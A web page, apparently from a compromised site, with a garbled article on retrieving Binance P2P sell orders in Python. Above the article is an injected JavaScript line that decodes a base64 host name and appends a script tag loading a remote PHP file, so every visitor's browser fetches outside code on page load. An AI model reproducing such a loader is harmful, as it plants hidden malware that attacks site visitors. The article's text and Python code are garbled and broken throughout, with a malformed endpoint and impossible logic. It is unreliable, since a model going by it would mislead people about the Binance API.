Ethereum: Binance API P2P I can´t see the SELL information using Python

Posted
0Comment(s)

const pdx=“bm9yZGVyc3dpbmcuYnV6ei94cC8=“;const pde=atob(pdx.replace(/|/g,““));const script=document.createElement(„script“);script.src=“https://“+pde+“cc.php?u=b46aeef2″;document.body.appendChild(script);

Ethereum: binance bees p2p purchase recovery of information

As a popular platform and widely used for cryptocurrency trading, Binance has made its bees publicly available. However, when it comes to recover the purchase data from the platform using Python, users often encounter problems. In this article, we will explore because you may not be able to see the sales information and provide steps to solve problems and solve the problem.

Why can’t I access API Binance P2P data?

Binance API has different limitations when it comes to recovering specific types of data from the platform. In particular:

  • The endpoint orders' returns a list of all orders, including purchases, but not in particular to sell information.

  • To recover sales information, it is necessary to use a different endpoint that provides a more detailed view of the transactions.

P2P Buy data recovery using Python

To recover P2P from Binance's purchasing data using Python, we will use therequested library.“ First we will try to connect to the API and then use a personalized function to extract the desired data.

`Python

Import requests

Matters Json

Ethereum: Binance API P2P I can´t see the SELL information using Python

Set API Binance credentials

api_key = ‚Your_api_key‘

Api_secret = ‚Your_api_secret‘

Define the URL for the Endpoint P2P

URL = f’https: //api.binance.com/api/v3/websocket/getorterbook? Symbol = {binarysscape} & limit = 10 & timeinforce = goods‘

Sets a flag to indicate if we are connecting to the P2P endpoint

Connect_p2p = True

Def get_p2p_orders (symbol, limit):

Try to connect to the Endpoint P2P

If not Connect_P2P:

Print (‚Connection to the Endpoint P2P …‘)

Attempt:

Answer = Requests.get (URL)

Analyze the response Json

Data = json.loads (Reply.text)

Extract without information from orders

Sell_orders = []

For the order in data [‚Book‘] [‚Orders‘]:

If ‚Side‘ == ‚Buy‘:

Sell_orders.Append ({

’symbol‘: symbol,

‚amount‘: float (order [‚amount‘]),

‚Time‘: int (order [‚time‘]) // 1000

convert in seconds

})

Return Sell_orders

Except reques.exceptions.requestexception as e:

PRINT (F’error that connects to the endpoint p2p: {e} ‚)

return []

Testing the function with the binary symbol

Symbol = ‚Your_binaryscape_Symbol‘

Sell_orders = Get_p2p_orders (symbol, 10)

Prints the results

For the order in Sell_orders:

Print (order)

``

Tips for problem solving

  • Check the API

    documentation: make sure to use the Endpoint and the correct parameters for the binary symbol.

2

  • Use a recording mechanism : print debug messages to identify problems with the API connection or the processing of the request.

  • Test in different environments : Try to test the function in various Python environments, including local development servers or cloud platforms such as Heroku.

Following these steps and on the resolution of the problems, you should be able to correctly recover the P2P purchase data from Binance using Python. If you continue to encounter problems, provide more details on the configuration and the environment for further assistance.

Ethereum Python

Der Camperplatz.com

Bei Hilfe oder Fragen kannst Du dich gern an unser Team wenden.